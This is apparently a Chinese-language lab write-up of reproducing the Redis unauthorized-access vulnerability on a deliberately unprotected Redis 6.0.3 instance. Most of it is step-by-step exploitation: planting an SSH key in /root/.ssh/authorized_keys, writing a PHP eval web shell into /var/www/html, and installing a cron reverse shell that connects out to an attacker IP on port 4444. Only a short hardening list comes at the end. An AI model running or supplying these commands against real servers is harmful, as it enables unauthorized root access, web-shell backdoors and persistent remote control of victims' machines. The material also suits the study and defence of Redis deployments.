1.使用命令redis-cli -h targetip 进行尝试远程连接,同时使用info进行信息查询
可以看到一些客户端和服务端的一些信息,比如redis版本,os系统版本等等
2.进行提权及遇到的问题总结
原本看到了redis的4-unuac未授权漏洞,想要复现一下的,结果使用vulhub进行复现的时候,只能进行未授权访问,却无法利用其提权的功能,所以必须要自己安装redis,如果想要实现传马,提权等操作
安装redis需要7.0版本以下的,要不然会有保护机制(目前研究的是这样,最新版的不给权限去提权)
安装redis,这个地方我下载使用的是6.0.3版本的
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
下载好之后,进行解压安装
tar -zxvf redis-6.0.3.tar.gz
进入到你解压的redis目录下,然后修改redis.conf内的配置
将bind修改成0.0.0.0全网监听
protected-mode 改成no
然后进入到src目录下,
cd /src/
make
cp /src/redis-cli /usr/bin
make完之后,你使用ps -ef |grep redis查看,可能会发现redis并没有启动,这个时候make结果有个提示,使用
make test
#一般来说是可以正常运行的,但是如果还不可以运行,就直接执行
./redis-server
然后再查看redis是否正常,在本地执行
redis-cli -h 0.0.0.0
同时使用info查看信息
这个时候redis数据库已经运行正常了
可以使用自己的攻击机进行尝试连接了
连接成功,命令执行成功,但是可能会遇到此类问题,遇到这个问题其实就是redis的保护机制没有关闭,直接使用翻译即可明白其中的意思,我选择的是第一种关闭保护机制CONFIG SET protected-mode no,之前在配置的时候也写过,但是不知道为啥手动改的不行,只能命令改,不过需要在本地执行
关闭之后,就可以畅通无阻了,
以上就是我们的redis未授权漏洞复现,接下来是则是针对这个漏洞进行利用。针对这个漏洞利用的方法有三种
1.通过写入ssh公钥,获取操作系统权限
2.通过写入木马文件,使用菜刀、御剑或者冰蝎进行连接
3.通过反弹shell(centos系统专用大概是,ubuntu没有试验成功)
1.通过写入ssh公钥,获取操作系统权限
思路:公钥登录” 原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:
首先在自己的电脑上生成key,其中要你输入的地方可以全部按空格
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.244.128 -x set xxx
然后在攻击机上连上靶机的redis数据库,设置将ssh鉴权文件放入到/root/.ssh/目录下,文件名改为authorized_keys
redis-cli -h 192.168.244.128 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save
这些命令的执行,你可以发现靶机的/root/.ssh/目录下出现了authorized_keys文件,但是当你连接的时候,会出现很多问题,接下来是我遇到的问题并解决方法
ssh 192.168.244.128
#使用ssh连接
却出现了以下问题,导致一直连不上,第一个是
Offending RSA key in /root/.ssh/known_hosts:2
第二个是
ssh-keygen -f “/root/.ssh/known_hosts” -R “192.168.208.141”
实际上解决方法也很简单,第一个问题的解决方法按照这个说的翻译下来就是,将本地的known_hosts的第二行注释掉
第二个问题的解决方法是在靶机上执行ssh-keygen -f “/root/.ssh/known_hosts” -R “192.168.208.141” 即可
就连接成功了
2.通过写入木马文件,使用菜刀、御剑或者冰蝎进行连接,这个需要使用redis开启的web服务,我只复现了写马的操作
写入一个string内容
set xxx "<?php @eval($_POST['cmd']);?>"
设置备份目录
config set dir /var/www/html/
设置备份文件名
config set dbfilename shell.php
保存文件到本地
save
3.通过反弹shell(centos系统专用大概是,ubuntu没有试验成功)
我们可以将 linux 反弹 shell 的命令写入定时任务中,这样,我们就可以接收到redis服务器反弹过来的shell
redis-cli -h 192.168.1.8
set test "\\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\\n" #意思是每隔一分钟,向192.168.1.4的4444端口反弹
shellconfig set dir /var/spool/cron #设置工作目录(error) ERR Changing directory: Permission denied
查看/var/spool/cron 目录权限为700,且为root创建
即使该普通用户具有sudo权限也不行
config set dbfilename "root" #设置文件名,当前用户叫啥就得命名为啥,当前用户为rootsave
#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\\n\\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下
redis漏洞的修复方法
可以配置redis.conf文件,在redis安装目录下
1.默认只对本地开放bind 127.0.0.1
2.添加登陆密码:修改redis.conf文件,添加requirepass password
3. 在需要对外开放的时候修改默认端口(端口不重复就行)port 2333
4. 配合iptables限制开放
5. 降权:以低权限运行 Redis 服务(重启redis才能生效)
禁止使用root权限启动redis服务